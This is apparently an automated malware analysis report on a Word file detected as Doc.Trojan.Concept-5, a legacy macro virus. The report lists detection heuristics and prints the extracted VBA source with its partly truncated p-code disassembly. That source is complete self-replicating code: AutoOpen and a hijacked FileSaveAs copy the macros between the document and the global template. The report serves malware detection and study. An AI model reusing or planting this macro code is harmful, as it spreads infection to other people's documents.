MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file exhibits characteristics of legacy macro viruses, specifically identified as 'Doc.Trojan.Concept-5' by ClamAV. The presence of the AutoOpen macro and the 'RSN MACRO VIRUS' marker in the document body strongly suggests malicious intent. The VBA script attempts to copy macros and potentially save a malicious version of the document, indicating a self-propagating or infection mechanism.
Heuristics 4
-
ClamAV: Doc.Trojan.Concept-5 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Concept-5
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4785 bytes |
SHA-256: 203ff34a4862526834120d2827c64dd36c69a4395936c24c2d96f2ec2eaee73d |
|||
|
Detection
ClamAV:
Doc.Trojan.Concept-5
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Runs AutoOpenScan"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim sMe$
Dim sMacro$
On Error GoTo -1: On Error GoTo Bail
sMe$ = WordBasic.[FileName$]()
sMacro$ = sMe$ + ":Joea"
WordBasic.MacroCopy sMacro$, "Global:FileSaveAs"
sMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy sMacro$, "Global:Jua"
If WordBasic.Day(WordBasic.Now()) = 1 Then
WordBasic.MsgBox "Tanggal satu, baru gajian nih ye, cerah sekali deh senyumnya."
End If
Bail:
End Sub
Attribute VB_Name = "Joea"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.Joea.MAIN"
Dim sMe$
Dim sMacro$
On Error GoTo -1: On Error GoTo Bali
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
sMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Jua", sMacro$
sMacro$ = sMe$ + ":Joea"
WordBasic.MacroCopy "Global:FileSaveAs", sMacro$
If WordBasic.Day(WordBasic.Now()) = 1 Then
WordBasic.MsgBox "Tanggal satu, baru gajian nih ye, cerah sekali deh senyumnya."
End If
WordBasic.FileSaveAs dlg
GoTo Done
Bali:
If Err.Number <> 102 Then
WordBasic.FileSaveAs dlg
End If
Done:
End Sub
' Processing file: /opt/analyzer/scan_staging/a7acda79ddc3437f8647496c87a1808b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2225 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn sMe
' Line #3:
' Dim
' VarDefn sMacro
' Line #4:
' OnError <crash>
' BoS 0x0000
' OnError Bail
' Line #5:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St sMe$
' Line #6:
' Ld sMe$
' LitStr 0x0005 ":Joea"
' Add
' St sMacro$
' Line #7:
' Ld sMacro$
' LitStr 0x0011 "Global:FileSaveAs"
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #8:
' Ld sMe$
' LitStr 0x0009 ":AutoOpen"
' Add
' St sMacro$
' Line #9:
' Ld sMacro$
' LitStr 0x000A "Global:Jua"
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #10:
' Ld WordBasic
' ArgsMemLd Now 0x0000
' Ld WordBasic
' ArgsMemLd Day 0x0001
' LitDI2 0x0001
' Eq
' IfBlock
' Line #11:
' LitStr 0x003D "Tanggal satu, baru gajian nih ye, cerah sekali deh senyumnya."
' Ld WordBasic
' ArgsMemCall MsgBox 0x0001
' Line #12:
' EndIfBlock
' Line #13:
' Label Bail
' Line #14:
' EndSub
' Macros/VBA/Joea - 2387 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn sMe
' Line #3:
' Dim
' VarDefn sMacro
' Line #4:
' OnError <crash>
' BoS 0x0000
' OnError Bali
' Line #5:
' Dim
' VarDefn dlg (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileSaveAs 0x0001
' Set dlg
' Line #6:
' Ld dlg
' Ld WordBasic
' MemLd CurValues
' ArgsMemCall FileSaveAs 0x0001
' Line #7:
' Ld dlg
' Ld WordBasic
' MemLd Dialog
' ArgsMemCall FileSaveAs 0x0001
' Line #8:
' Ld dlg
' MemLd Format$
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' Ld dlg
' MemSt Format$
' EndIf
' Line #9:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St sMe$
' Line #10:
' Ld sMe$
' LitStr 0x0009 ":AutoOpen"
' Add
' St sMacro$
' Line #11:
' LitStr 0x000A "Global:Jua"
' Ld sMacro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #12:
' Ld sMe$
' LitStr 0x0005 ":Joea"
' Add
' St sMacro$
' Line #13:
' LitStr 0x0011 "Global:FileSaveAs"
' Ld sMacro$
' Ld WordBasic
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.